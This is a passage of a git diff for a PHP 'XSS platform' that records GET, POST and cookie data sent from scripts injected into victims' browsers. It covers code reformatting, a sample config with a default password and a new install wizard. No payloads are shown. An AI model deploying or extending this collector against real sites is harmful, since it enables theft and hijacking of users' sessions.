if (@file_put_contents($logFile, '<?php exit();?>' . $info))
|
||||
echo "修改一条xss记录成功\n";
|
||||
@@ -87,7 +85,7 @@ function modify_xss_record($old_enable_encrypt,$old_encrypt_pass,$old_encrypt_ty
|
||||
}
|
||||
}
|
||||
}
|
||||
function modify_js_desc($path,$old_enable_encrypt,$old_encrypt_pass,$old_encrypt_type,$new_enable_encrypt,$new_encrypt_pass, $new_encrypt_type)
|
||||
function modify_js_desc($path, $old_encrypt_enable, $old_encrypt_pass, $old_encrypt_type, $new_encrypt_enable, $new_encrypt_pass, $new_encrypt_type)
|
||||
{
|
||||
$files = glob($path . '/*.js');
|
||||
foreach ($files as $file) {
|
||||
@@ -98,11 +96,11 @@ function modify_js_desc($path,$old_enable_encrypt,$old_encrypt_pass,$old_encrypt
|
||||
$desc = @file_get_contents(dirname(__FILE__) . '/' . $path . '/' . $filename . '.desc');
|
||||
|
||||
if ($desc !== false)
|
||||
$desc=decrypt($desc,$old_enable_encrypt,$old_encrypt_pass,$old_encrypt_type);
|
||||
$desc = decrypt($desc, $old_encrypt_enable, $old_encrypt_pass, $old_encrypt_type);
|
||||
else
|
||||
$desc = "";
|
||||
|
||||
$desc=encrypt($desc, $new_enable_encrypt, $new_encrypt_pass, $new_encrypt_type);
|
||||
$desc = encrypt($desc, $new_encrypt_enable, $new_encrypt_pass, $new_encrypt_type);
|
||||
|
||||
if (@file_put_contents(dirname(__FILE__) . '/' . $path . '/' . $filename . '.desc', $desc))
|
||||
echo "修改一条js描述成功\n";
|
||||
@@ -111,40 +109,34 @@ function modify_js_desc($path,$old_enable_encrypt,$old_encrypt_pass,$old_encrypt
|
||||
}
|
||||
}
|
||||
|
||||
function encrypt($info,$enable_encrypt,$encrypt_pass,$encrypt_type)
|
||||
function encrypt($info, $encrypt_enable, $encrypt_pass, $encrypt_type)
|
||||
{
|
||||
if($enable_encrypt) {
|
||||
if ($encrypt_enable) {
|
||||
if ($encrypt_type === "AES") {
|
||||
require_once("aes.php");
|
||||
$info = AESEncryptCtr($info, $encrypt_pass);
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
require_once("rc4.php");
|
||||
$info = base64_encode(rc4($info, $encrypt_pass));
|
||||
}
|
||||
}
|
||||
else
|
||||
} else
|
||||
$info = base64_encode($info);
|
||||
|
||||
return $info;
|
||||
}
|
||||
|
||||
function decrypt($info,$enable_encrypt,$encrypt_pass,$encrypt_type)
|
||||
function decrypt($info, $encrypt_enable, $encrypt_pass, $encrypt_type)
|
||||
{
|
||||
if($enable_encrypt) {
|
||||
if ($encrypt_enable) {
|
||||
if ($encrypt_type === "AES") {
|
||||
require_once("aes.php");
|
||||
$info = AESDecryptCtr($info, $encrypt_pass);
|
||||
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
require_once("rc4.php");
|
||||
$info = rc4(base64_decode($info), $encrypt_pass);
|
||||
}
|
||||
}
|
||||
else
|
||||
} else
|
||||
$info = base64_decode($info);
|
||||
return $info;
|
||||
}
|
||||
?>
|
||||
|
||||
|
||||
25
config-sample.php
Normal file
25
config-sample.php
Normal file
@@ -0,0 +1,25 @@
|
||||
<?php
|
||||
if (!defined('IN_XSS_PLATFORM')) {
|
||||
exit('Access Denied');
|
||||
}
|
||||
|
||||
define("PASS", "2a05218c7aa0a6dbd370985d984627b8"); //后台登录密码:默认密码bluelotus
|
||||
define("DATA_PATH", "data"); //xss记录、封禁ip列表存放目录
|
||||
define("JS_TEMPLATE_PATH", "template"); //js模板存放目录
|
||||
define("MY_JS_PATH", "myjs"); //我的js存放目录
|
||||
define("ENCRYPT_ENABLE", true); //是否加密“xss记录,封禁ip列表,js描述”
|
||||
define("ENCRYPT_PASS", "bluelotus"); //加密密码
|
||||
define("ENCRYPT_TYPE", "RC4"); //加密方法(AES或RC4)
|
||||
define("KEEP_SESSION", true); //是否启用KEEP_SESSION功能,需要外部定时访问keepsession.php
|
||||
define("IPDATA_PATH", "qqwry.dat"); //ip归属地数据库地址
|
||||
|
||||
/*邮件通知相关配置*/
|
||||
|
||||
define("MAIL_ENABLE", false); //开启邮件通知
|
||||
define("SMTP_SERVER", "smtp.xxx.com"); //smtp服务器
|
||||
define("SMTP_PORT", 465); //端口
|
||||
define("SMTP_SECURE", "ssl");
|
||||
define("MAIL_USER", "xxx@xxx.com"); //发件人用户名
|
||||
define("MAIL_PASS", "xxxxxx"); //发件人密码
|
||||
define("MAIL_FROM", "xxx@xxx.com"); //发件人地址(需真实,不可伪造)
|
||||
define("MAIL_RECV", "xxxx@xxxx.com"); //接收通知的邮件地址
|
||||
27
config.php
27
config.php
@@ -1,27 +0,0 @@
|
||||
<?php
|
||||
if(!defined('IN_XSS_PLATFORM')) {
|
||||
exit('Access Denied');
|
||||
}
|
||||
|
||||
define('PASS', '2a05218c7aa0a6dbd370985d984627b8');//后台登录密码:默认密码bluelotus
|
||||
define('DATA_PATH', 'data');//xss记录、封禁ip列表存放目录
|
||||
define('JS_TEMPLATE_PATH', 'template');//js模板存放目录
|
||||
define('MY_JS_PATH', 'myjs');//我的js存放目录
|
||||
define('ENABLE_ENCRYPT', true);//是否加密“xss记录,封禁ip列表,js描述”
|
||||
define('ENCRYPT_PASS', "bluelotus");//加密密码
|
||||
define('ENCRYPT_TYPE', "RC4");//加密方法(AES或RC4)
|
||||
define('KEEP_SESSION', true);//是否启用KEEP_SESSION功能,需要外部定时访问keepsession.php
|
||||
define('IPDATA_PATH', "qqwry.dat");//ip归属地数据库地址
|
||||
|
||||
/*邮件通知相关配置*/
|
||||
|
||||
define('MAIL_ENABLE', false);//开启邮件通知
|
||||
define('SMTP_SERVER', "smtp.xxx.com");//smtp服务器
|
||||
define('SMTP_PORT', 465);//端口
|
||||
define('SMTP_SECURE', "ssl");
|
||||
define('MAIL_USER', "xxx@xxx.com");//发件人用户名
|
||||
define('MAIL_PASS', "xxxxxx");//发件人密码
|
||||
define('MAIL_FROM', "xxx@xxx.com");//发件人地址(需真实,不可伪造)
|
||||
define('MAIL_RECV', "xxxx@xxxx.com");//接收通知的邮件地址
|
||||
|
||||
?>
|
||||
34
dio.php
34
dio.php
@@ -2,7 +2,7 @@
|
||||
if (!defined('IN_XSS_PLATFORM')) {
|
||||
exit('Access Denied');
|
||||
}
|
||||
require_once("config.php");
|
||||
require_once("load.php");
|
||||
require_once("functions.php");
|
||||
|
||||
//对记录的读写操作,无数据库,采用读写文件的方式,文件名即请求时的时间戳,同时也是记录的id
|
||||
@@ -21,8 +21,7 @@ function save_xss_record($info,$filename)
|
||||
|
||||
function load_xss_record($filename)
|
||||
{
|
||||
if(strpos($filename, "..")===false && strpos($filename, "/")===false && strpos($filename, "\\")===false)
|
||||
{
|
||||
if (strpos($filename, "..") === false && strpos($filename, "/") === false && strpos($filename, "\\") === false) {
|
||||
$logFile = dirname(__FILE__) . '/' . DATA_PATH . '/' . $filename . '.php';
|
||||
if (!file_exists($logFile))
|
||||
return false;
|
||||
@@ -47,15 +46,13 @@ function load_xss_record($filename)
|
||||
return false;
|
||||
|
||||
$isChange = false;
|
||||
if(!isset($info['location']))
|
||||
{
|
||||
if (!isset($info['location'])) {
|
||||
$info['location'] = stripStr(convertip($info['user_IP'], IPDATA_PATH));
|
||||
$isChange = true;
|
||||
}
|
||||
|
||||
//只会出现在加密密码错误的时候
|
||||
if(!isset($info['request_time']))
|
||||
{
|
||||
if (!isset($info['request_time'])) {
|
||||
return false;
|
||||
}
|
||||
|
||||
@@ -63,19 +60,16 @@ function load_xss_record($filename)
|
||||
save_xss_record(json_encode($info), $filename);
|
||||
|
||||
return $info;
|
||||
}
|
||||
else
|
||||
} else
|
||||
return false;
|
||||
}
|
||||
|
||||
function delete_xss_record($filename)
|
||||
{
|
||||
if(strpos($filename, "..")===false && strpos($filename, "/")===false && strpos($filename, "\\")===false)
|
||||
{
|
||||
if (strpos($filename, "..") === false && strpos($filename, "/") === false && strpos($filename, "\\") === false) {
|
||||
$logFile = dirname(__FILE__) . '/' . DATA_PATH . '/' . $filename . '.php';
|
||||
return unlink($logFile);
|
||||
}
|
||||
else
|
||||
} else
|
||||
return false;
|
||||
}
|
||||
|
||||
@@ -91,8 +85,7 @@ function clear_xss_record()
|
||||
|
||||
function load_js_content($path, $filename)
|
||||
{
|
||||
if(strpos($filename, "..")===false && strpos($filename, "/")===false && strpos($filename, "\\")===false)
|
||||
{
|
||||
if (strpos($filename, "..") === false && strpos($filename, "/") === false && strpos($filename, "\\") === false) {
|
||||
$file = dirname(__FILE__) . '/' . $path . '/' . $filename . '.js';
|
||||
if (!file_exists($file))
|
||||
return false;
|
||||
@@ -101,21 +94,18 @@ function load_js_content($path,$filename)
|
||||
if ($info === false)
|
||||
$info = "";
|
||||
return $info;
|
||||
}
|
||||
else
|
||||
} else
|
||||
return false;
|
||||
}
|
||||
|
||||
function delete_js($path, $filename)
|
||||
{
|
||||
if(strpos($filename, "..")===false && strpos($filename, "/")===false && strpos($filename, "\\")===false)
|
||||
{
|
||||
if (strpos($filename, "..") === false && strpos($filename, "/") === false && strpos($filename, "\\") === false) {
|
||||
$file = dirname(__FILE__) . '/' . $path . '/' . $filename . '.desc';
|
||||
unlink($file);
|
||||
$file = dirname(__FILE__) . '/' . $path . '/' . $filename . '.js';
|
||||
return unlink($file);
|
||||
}
|
||||
else
|
||||
} else
|
||||
return false;
|
||||
|
||||
}
|
||||
@@ -157,5 +147,3 @@ function save_js_desc($path,$desc,$filename)
|
||||
else
|
||||
return true;
|
||||
}
|
||||
|
||||
?>
|
||||
@@ -3,11 +3,12 @@ if(!defined('IN_XSS_PLATFORM')) {
|
||||
exit('Access Denied');
|
||||
}
|
||||
|
||||
require_once("config.php");
|
||||
require_once("load.php");
|
||||
|
||||
//nginx无getallheaders函数
|
||||
if (!function_exists('getallheaders')) {
|
||||
function getallheaders() {
|
||||
function getallheaders()
|
||||
{
|
||||
foreach ($_SERVER as $name => $value) {
|
||||
if (substr($name, 0, 5) == 'HTTP_') {
|
||||
$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
|
||||
@@ -18,28 +19,26 @@ if (!function_exists('getallheaders')) {
|
||||
}
|
||||
|
||||
//判断该记录是否
|
||||
function isKeepSession($info){
|
||||
function isKeepSession($info)
|
||||
{
|
||||
$keepsession = false;
|
||||
|
||||
foreach ($info['get_data'] as $k => $v) {
|
||||
if($k==="keepsession")
|
||||
{
|
||||
if ($k === "keepsession") {
|
||||
$keepsession = ($v === "1" ? true : false);
|
||||
return $keepsession;
|
||||
}
|
||||
}
|
||||
|
||||
foreach ($info['post_data'] as $k => $v) {
|
||||
if($k==="keepsession")
|
||||
{
|
||||
if ($k === "keepsession") {
|
||||
$keepsession = ($v === "1" ? true : false);
|
||||
return $keepsession;
|
||||
}
|
||||
}
|
||||
|
||||
foreach ($info['cookie_data'] as $k => $v) {
|
||||
if($k==="keepsession")
|
||||
{
|
||||
if ($k === "keepsession") {
|
||||
$keepsession = ($v === "1" ? true : false);
|
||||
return $keepsession;
|
||||
}
|
||||
@@ -48,13 +47,15 @@ function isKeepSession($info){
|
||||
}
|
||||
|
||||
//xss过滤
|
||||
function stripStr($str){
|
||||
function stripStr($str)
|
||||
{
|
||||
if (get_magic_quotes_gpc())
|
||||
$str = stripslashes($str);
|
||||
return addslashes(htmlspecialchars($str, ENT_QUOTES, 'UTF-8'));
|
||||
}
|
||||
|
||||
function stripArr($arr){
|
||||
function stripArr($arr)
|
||||
{
|
||||
$new_arr = array();
|
||||
foreach ($arr as $k => $v) {
|
||||
$new_arr[stripStr($k)] = stripStr($v);
|
||||
@@ -65,8 +66,7 @@ function stripArr($arr){
|
||||
//尝试base64解码
|
||||
function tryBase64Decode($arr)
|
||||
{
|
||||
if(isset($arr)&&count($arr)>0)
|
||||
{
|
||||
if (isset($arr) && count($arr) > 0) {
|
||||
$isChanged = 0;
|
||||
|
||||
$new_arr = array();
|
||||
@@ -83,8 +83,7 @@ function tryBase64Decode($arr)
|
||||
return $new_arr;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
else
|
||||
} else
|
||||
return false;
|
||||
}
|
||||
|
||||
@@ -100,17 +99,15 @@ function isBase64Formatted($str)
|
||||
|
||||
function encrypt($info)
|
||||
{
|
||||
if(ENABLE_ENCRYPT) {
|
||||
if (ENCRYPT_ENABLE) {
|
||||
if (ENCRYPT_TYPE === "AES") {
|
||||
require_once("aes.php");
|
||||
$info = AESEncryptCtr($info, ENCRYPT_PASS);
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
require_once("rc4.php");
|
||||
$info = base64_encode(rc4($info, ENCRYPT_PASS));
|
||||
}
|
||||
}
|
||||
else
|
||||
} else
|
||||
$info = base64_encode($info);
|
||||
|
||||
return $info;
|
||||
@@ -118,24 +115,23 @@ function encrypt($info)
|
||||
|
||||
function decrypt($info)
|
||||
{
|
||||
if(ENABLE_ENCRYPT) {
|
||||
if (ENCRYPT_ENABLE) {
|
||||
if (ENCRYPT_TYPE === "AES") {
|
||||
require_once("aes.php");
|
||||
$info = AESDecryptCtr($info, ENCRYPT_PASS);
|
||||
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
require_once("rc4.php");
|
||||
$info = rc4(base64_decode($info), ENCRYPT_PASS);
|
||||
}
|
||||
}
|
||||
else
|
||||
} else
|
||||
$info = base64_decode($info);
|
||||
return $info;
|
||||
}
|
||||
|
||||
//基于Discuz X3.1 function_misc.php
|
||||
function convertip($ip, $ipdatafile) {
|
||||
function convertip($ip, $ipdatafile)
|
||||
{
|
||||
$ipaddr = '未知';
|
||||
if (preg_match("/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/", $ip)) {
|
||||
$iparray = explode('.', $ip);
|
||||
@@ -152,11 +148,14 @@ function convertip($ip, $ipdatafile) {
|
||||
$ip = explode('.', $ip);
|
||||
$ipNum = $ip[0] * 16777216 + $ip[1] * 65536 + $ip[2] * 256 + $ip[3];
|
||||
|
||||
if(!($DataBegin = fread($fd, 4)) || !($DataEnd = fread($fd, 4)) ) return;
|
||||
if (!($DataBegin = fread($fd, 4)) || !($DataEnd = fread($fd, 4)))
|
||||
return;
|
||||
@$ipbegin = implode('', unpack('L', $DataBegin));
|
||||
if($ipbegin < 0) $ipbegin += pow(2, 32);
|
||||
if ($ipbegin < 0)
|
||||
$ipbegin += pow(2, 32);
|
||||
@$ipend = implode('', unpack('L', $DataEnd));
|
||||
if($ipend < 0) $ipend += pow(2, 32);
|
||||
if ($ipend < 0)
|
||||
$ipend += pow(2, 32);
|
||||
$ipAllNum = ($ipend - $ipbegin) / 7 + 1;
|
||||
|
||||
$BeginNum = $ip2num = $ip1num = 0;
|
||||
@@ -173,7 +172,8 @@ function convertip($ip, $ipdatafile) {
|
||||
return '系统错误';
|
||||
}
|
||||
$ip1num = implode('', unpack('L', $ipData1));
|
||||
if($ip1num < 0) $ip1num += pow(2, 32);
|
||||
if ($ip1num < 0)
|
||||
$ip1num += pow(2, 32);
|
||||
|
||||
if ($ip1num > $ipNum) {
|
||||
$EndNum = $Middle;
|
||||
@@ -193,7 +193,8 @@ function convertip($ip, $ipdatafile) {
|
||||
return '系统错误';
|
||||
}
|
||||
$ip2num = implode('', unpack('L', $ipData2));
|
||||
if($ip2num < 0) $ip2num += pow(2, 32);
|
||||
if ($ip2num < 0)
|
||||
$ip2num += pow(2, 32);
|
||||
|
||||
if ($ip2num < $ipNum) {
|
||||
if ($Middle == $BeginNum) {
|
||||
@@ -290,6 +291,3 @@ function convertip($ip, $ipdatafile) {
|
||||
}
|
||||
return $ipaddr;
|
||||
}
|
||||
|
||||
|
||||
?>
|
||||
@@ -4,14 +4,15 @@ ignore_user_abort(true);
|
||||
error_reporting(0);
|
||||
|
||||
//sometimes we only need "referfer".
|
||||
|
||||
/*
|
||||
if(count($_GET)==0&&count($_POST)==0&&count($_COOKIE)==0)
|
||||
exit();
|
||||
*/
|
||||
header("Access-Control-Allow-Origin:*");
|
||||
require_once("load.php");
|
||||
require_once("functions.php");
|
||||
require_once("dio.php");
|
||||
require_once("config.php");
|
||||
|
||||
$info = array();
|
||||
|
||||
@@ -61,7 +62,5 @@ save_xss_record(json_encode($info),$request_time);
|
||||
//发送邮件通知
|
||||
if (MAIL_ENABLE) {
|
||||
require_once("mail.php");
|
||||
send_mail($info);
|
||||
@send_mail($info);
|
||||
}
|
||||
|
||||
?>
|
||||
465
install.php
Normal file
465
install.php
Normal file
@@ -0,0 +1,465 @@
|
||||
<?php
|
||||
define("IN_XSS_PLATFORM",true);
|
||||
ignore_user_abort(true);
|
||||
|
||||
//检测是否已经安装
|
||||
if ( file_exists('config.php') ) {
|
||||
display_header();
|
||||
|
||||
@unlink($_SERVER['SCRIPT_FILENAME']);
|
||||
die( '<h1>已安装</h1><p>请勿重复安装!</p><p class="step"><a href="login.php" class="button button-large">登录</a></p></body></html>' );
|
||||
}
|
||||
|
||||
$step = isset( $_GET['step'] ) ? (int) $_GET['step'] : 0;
|
||||
|
||||
switch($step) {
|
||||
case 0: // 显示说明
|
||||
display_header();
|
||||
|
||||
?>
|
||||
<form id="setup" method="post" action="?step=1">
|
||||
<h1>欢迎</h1>
|
||||
<p>欢迎使用本平台,安装开始前,请仔细阅读以下说明</p>
|
||||
<p>手动安装方法:将config-sample.php改名为config.php,删除install.php即可。</p>
|
||||
<h2>警告:</h2>
|
||||
<p><b>本工具仅允许用于学习、研究场景,严禁用于任何非法用途!</b></p>
|
||||
<p>人在做,天在看。善恶终有报,天道好轮回。不信抬头看,苍天饶过谁。</p>
|
||||
<p class="step"><input name="submit" type="submit" value="安装" class="button button-large"></p>
|
||||
</form>
|
||||
<?php
|
||||
break;
|
||||
|
||||
case 1: // 配置
|
||||
display_header();
|
||||
?>
|
||||
|
||||
<h1>配置</h1>
|
||||
<p>请按照下面提示配置xss平台,默认配置可直接下一步</p>
|
||||
|
||||
<?php
|
||||
display_setup_form();
|
||||
break;
|
||||
|
||||
case 2: // 写入config.php
|
||||
display_header();
|
||||
|
||||
//输入处理:使用stripStr过滤xss,使用json_encode生成最终string
|
||||
$encrypt_enable = isset( $_POST['encrypt_enable'] ) ? true : false;
|
||||
$keep_session_enable = isset( $_POST['keep_session_enable'] ) ? true : false;
|
||||
$mail_enable = isset( $_POST['mail_enable'] ) ? true : false;
|
||||
|
||||
$pass = isset( $_POST['pass'] ) ? stripStr($_POST['pass']) : '';
|
||||
$encrypt_pass = isset( $_POST['encrypt_pass'] ) ? stripStr($_POST['encrypt_pass']) : '';
|
||||
$mail_pass = isset( $_POST['mail_pass'] ) ? stripStr($_POST['mail_pass']) : '';
|
||||
|
||||
$data_path = isset($_POST['data_path']) ? stripStr(trim( $_POST['data_path'] )) : '';
|
||||
$js_template_path = isset( $_POST['js_template_path'] ) ? stripStr(trim( $_POST['js_template_path'] )) : '';
|
||||
$my_js_path = isset( $_POST['my_js_path'] ) ? stripStr(trim( $_POST['my_js_path'] )) : '';
|
||||
$encrypt_type = isset( $_POST['encrypt_type'] ) ? stripStr(trim( $_POST['encrypt_type'] )) : '';
|
||||
$ipdata_path = isset( $_POST['ipdata_path'] ) ? stripStr(trim( $_POST['ipdata_path'] )) : '';
|
||||
$smtp_server = isset( $_POST['smtp_server'] ) ? stripStr(trim( $_POST['smtp_server'] )) : '';
|
||||
$smtp_port = isset( $_POST['smtp_port'] ) ? stripStr(trim( $_POST['smtp_port'] )) : '';
|
||||
$smtp_secure = isset( $_POST['smtp_secure'] ) ? stripStr(trim( $_POST['smtp_secure'] )) : '';
|
||||
$mail_user = isset( $_POST['mail_user'] ) ? stripStr(trim( $_POST['mail_user'] )) : '';
|
||||
$mail_from = isset( $_POST['mail_from'] ) ? stripStr(trim( $_POST['mail_from'] )) : '';
|
||||
$mail_recv = isset( $_POST['mail_recv'] ) ? stripStr(trim( $_POST['mail_recv'] )) : '';
|
||||
|
||||
$error = false;
|
||||
|
||||
if ( $pass==='' ) {
|
||||
display_setup_form( '登录密码不可为空' );
|
||||
$error = true;
|
||||
}
|
||||
else if ( !preg_match( '/^[0-9a-zA-Z_\/\\\.]+$/' , $data_path ) ) {
|
||||
display_setup_form( 'xss数据存储路径非法' );
|
||||
$error = true;
|
||||
}
|
||||
else if ( !is_dir ( $data_path ) ) {
|
||||
|
||||
display_setup_form( 'xss数据存储路径不存在' );
|
||||
$error = true;
|
||||
}
|
||||
else if ( !is_writable ( $data_path ) ) {
|
||||
display_setup_form( 'xss数据存储路径不可写' );
|
||||
$error = true;
|
||||
}
|
||||
else if ( glob($js_template_path.'/*')=== glob('static/js'.'/*') ) {
|
||||
display_setup_form( 'js模板存储路径非法' );
|
||||
$error = true;
|
||||
}
|
||||
else if ( !preg_match( '/^[0-9a-zA-Z_\/\\\.]+$/' , $js_template_path ) ) {
|
||||
display_setup_form( 'js模板存储路径非法' );
|
||||
$error = true;
|
||||
}
|
||||
else if ( !is_dir ( $js_template_path ) ) {
|
||||
display_setup_form( 'js模板存储路径不存在' );
|
||||
$error = true;
|
||||
}
|
||||
else if ( !is_writable ( $js_template_path ) ) {
|
||||
display_setup_form( 'js模板存储路径不可写' );
|
||||
$error = true;
|
||||
}
|
||||
else if ( glob($my_js_path.'/*')=== glob('static/js'.'/*') ) {
|
||||
display_setup_form( '我的js存储路径非法' );
|
||||
$error = true;
|
||||
}
|
||||
else if ( !preg_match( '/^[0-9a-zA-Z_\/\\\.]+$/' , $my_js_path ) ) {
|
||||
display_setup_form( '我的js存储路径非法' );
|
||||
$error = true;
|
||||
}
|
||||
else if ( !is_dir ( $my_js_path ) ) {
|
||||
display_setup_form( '我的js存储路径不存在' );
|
||||
$error = true;
|
||||
}
|
||||
else if ( !is_writable ( $my_js_path ) ) {
|
||||
display_setup_form( '我的js存储路径不可写' );
|
||||
$error = true;
|
||||
}
|
||||
else if ( $encrypt_enable && $encrypt_pass==='' ) {
|
||||
display_setup_form( '加密密码不可为空' );
|
||||
$error = true;
|
||||
}
|
||||
else if ( $encrypt_type!=="RC4" && $encrypt_type !== "AES" ) {
|
||||
display_setup_form( '加密方式错误' );
|
||||
$error = true;
|
||||
}
|
||||
else if ( !file_exists( $ipdata_path ) ) {
|
||||
display_setup_form( 'ip数据库不存在' );
|
||||
$error = true;
|
||||
}
|
||||
else if ( !preg_match( '/^[0-9]*$/' , $smtp_port ) ) {
|
||||
display_setup_form( 'SMTP端口不合法' );
|
||||
$error = true;
|
||||
}
|
||||
else
|
||||
{
|
||||
//生成密码hash
|
||||
$salt='!KTMdg#^^I6Z!deIVR#SgpAI6qTN7oVl';
|
||||
$pass=md5($salt.$pass.$salt);
|
||||
$pass=md5($salt.$pass.$salt);
|
||||
$pass=md5($salt.$pass.$salt);
|
||||
|
||||
$config_str = <<<CONFIG
|
||||
<?php
|
||||
if(!defined('IN_XSS_PLATFORM')) {
|
||||
exit('Access Denied');
|
||||
}
|
||||
|
||||
CONFIG;
|
||||
$config_str .= 'define("PASS", '.json_encode($pass).');//后台登录密码:默认密码bluelotus' . PHP_EOL;
|
||||
//正则判断过,不做json_encode处理
|
||||
$config_str .= 'define("DATA_PATH", "'.$data_path.'");//xss记录、封禁ip列表存放目录' . PHP_EOL;
|
||||
$config_str .= 'define("JS_TEMPLATE_PATH", "'.$js_template_path.'");//js模板存放目录' . PHP_EOL;
|
||||
$config_str .= 'define("MY_JS_PATH", "'.$my_js_path.'");//我的js存放目录' . PHP_EOL;
|
||||
$config_str .= 'define("ENCRYPT_ENABLE", '.($encrypt_enable?"true":"false").');//是否加密“xss记录,封禁ip列表,js描述”' . PHP_EOL;
|
||||
$config_str .= 'define("ENCRYPT_PASS", '.json_encode( $encrypt_pass).');//加密密码' . PHP_EOL;
|
||||
$config_str .= 'define("ENCRYPT_TYPE", '.json_encode( $encrypt_type).');//加密方法(AES或RC4)' . PHP_EOL;
|
||||
$config_str .= 'define("KEEP_SESSION", '.($keep_session_enable?"true":"false").');//是否启用KEEP_SESSION功能,需要外部定时访问keepsession.php' . PHP_EOL;
|
||||
$config_str .= 'define("IPDATA_PATH", '.json_encode( $ipdata_path).');//ip归属地数据库地址' . PHP_EOL;
|
||||
$config_str .= 'define("MAIL_ENABLE", '.($mail_enable?"true":"false").');//开启邮件通知' . PHP_EOL;
|
||||
$config_str .= 'define("SMTP_SERVER", '.json_encode( $smtp_server).');//smtp服务器' . PHP_EOL;
|
||||
//正则判断过,不做json_encode处理
|
||||
$config_str .= 'define("SMTP_PORT", '.$smtp_port.');//端口' . PHP_EOL;
|
||||
$config_str .= 'define("SMTP_SECURE", '.json_encode( $smtp_secure).');' . PHP_EOL;
|
||||
$config_str .= 'define("MAIL_USER", '.json_encode( $mail_user).');//发件人用户名' . PHP_EOL;
|
||||
$config_str .= 'define("MAIL_PASS", '.json_encode( $mail_pass).');//发件人密码' . PHP_EOL;
|
||||
$config_str .= 'define("MAIL_FROM", '.json_encode( $mail_from).');//发件人地址(需真实,不可伪造)' . PHP_EOL;
|
||||
$config_str .= 'define("MAIL_RECV", '.json_encode( $mail_recv).');//接收通知的邮件地址' . PHP_EOL;
|
||||
|
||||
if (file_put_contents("config.php", $config_str)===false)
|
||||
{
|
||||
display_setup_form( '无法写入配置文件,请确保根目录有写权限' );
|
||||
$error = true;
|
||||
}
|
||||
}
|
||||
|
||||
if ( $error === false ) {
|
||||
|
||||
//重加密记录
|
||||
modify_js_desc($my_js_path,true,'bluelotus','RC4',$encrypt_enable,$encrypt_pass, $encrypt_type);
|
||||
modify_js_desc($js_template_path,true,'bluelotus','RC4',$encrypt_enable,$encrypt_pass, $encrypt_type);
|
||||
|
||||
//安装完成,自杀
|
||||
@unlink($_SERVER['SCRIPT_FILENAME']);
|
||||
@unlink('config-sample.php');
|
||||
|
||||
?>
|
||||
|
||||
<h1>安装成功</h1>
|
||||
<p>XSS平台安装成功,请点下方链接登录后台!</p>
|
||||
|
||||
<p class="step"><a href="login.php" class="button button-large">登录</a></p>
|
||||
<?php
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
function display_header( ) {
|
||||
|
||||
?>
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta name="viewport" content="width=device-width" />
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
|
||||
<meta name="robots" content="noindex,nofollow" />
|
||||
<title>安装</title>
|
||||
<link rel="stylesheet" href="static/css/install.css" type="text/css" />
|
||||
</head>
|
||||
<body class="core-ui">
|
||||
<p id="logo">
|
||||
<a href="1" tabindex="-1"></a>
|
||||
</p>
|
||||
<?php
|
||||
|
||||
} // end display_header()
|
||||
|
||||
function display_setup_form( $error = null ) {
|
||||
|
||||
$encrypt_enable = isset( $_POST['encrypt_enable'] ) ? true : false;
|
||||
$keep_session_enable = isset( $_POST['keep_session_enable'] ) ? true : false;
|
||||
$mail_enable = isset( $_POST['mail_enable'] ) ? true : false;
|
||||
|
||||
$pass = isset( $_POST['pass'] ) ? stripStr($_POST['pass']) : 'bluelotus';
|
||||
$encrypt_pass = isset( $_POST['encrypt_pass'] ) ? stripStr($_POST['encrypt_pass']) : 'bluelotus';
|
||||
$mail_pass = isset( $_POST['mail_pass'] ) ? stripStr($_POST['mail_pass']) : 'xxxxxx';
|
||||
|
||||
$data_path = isset($_POST['data_path']) ? stripStr(trim( $_POST['data_path'] )) : 'data';
|
||||
$js_template_path = isset( $_POST['js_template_path'] ) ? stripStr(trim( $_POST['js_template_path'] )) : 'template';
|
||||
$my_js_path = isset( $_POST['my_js_path'] ) ? stripStr(trim( $_POST['my_js_path'] )) : 'myjs';
|
||||
$encrypt_type = isset( $_POST['encrypt_type'] ) ? stripStr(trim( $_POST['encrypt_type'] )) : 'RC4';
|
||||
$ipdata_path = isset( $_POST['ipdata_path'] ) ? stripStr(trim( $_POST['ipdata_path'] )) : 'qqwry.dat';
|
||||
$smtp_server = isset( $_POST['smtp_server'] ) ? stripStr(trim( $_POST['smtp_server'] )) : 'smtp.xxx.com';
|
||||
$smtp_port = isset( $_POST['smtp_port'] ) ? stripStr(trim( $_POST['smtp_port'] )) : '465';
|
||||
$smtp_secure = isset( $_POST['smtp_secure'] ) ? stripStr(trim( $_POST['smtp_secure'] )) : 'ssl';
|
||||
$mail_user = isset( $_POST['mail_user'] ) ? stripStr(trim( $_POST['mail_user'] )) : 'xxx@xxx.com';
|
||||
$mail_from = isset( $_POST['mail_from'] ) ? stripStr(trim( $_POST['mail_from'] )) : 'xxx@xxx.com';
|
||||
$mail_recv = isset( $_POST['mail_recv'] ) ? stripStr(trim( $_POST['mail_recv'] )) : 'xxx@xxx.com';
|
||||
|
||||
if ( ! is_null( $error ) ) {
|
||||
?>
|
||||
<h1>错误</h1>
|
||||
<p class="message"><?php echo stripStr($error); ?></p>
|
||||
<?php
|
||||
}
|
||||
?>
|
||||
<form id="setup" method="post" action="install.php?step=2" novalidate="novalidate">
|
||||
<table class="form-table">
|
||||
<tr>
|
||||
<th scope="row"><label for="pass">后台登录密码</label></th>
|
||||
<td>
|
||||
<input name="pass" type="text" id="pass" size="25" value="<?php echo $pass;?>" required="required" />
|
||||
<p>特殊字符会被转义,慎用,下同</p>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
<th scope="row"><label for="data_path">xss数据存储路径</label></th>
|
||||
<td>
|
||||
<input name="data_path" type="text" id="data_path" size="25" value="<?php echo $data_path; ?>" required="required" />
|
||||
<p>文件夹需要有写权限</p>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
<th scope="row"><label for="js_template_path">js模板存储路径</label></th>
|
||||
<td>
|
||||
<input name="js_template_path" type="text" id="js_template_path" size="25" value="<?php echo $js_template_path;?>" required="required" />
|
||||
<p>文件夹需要有写权限</p>
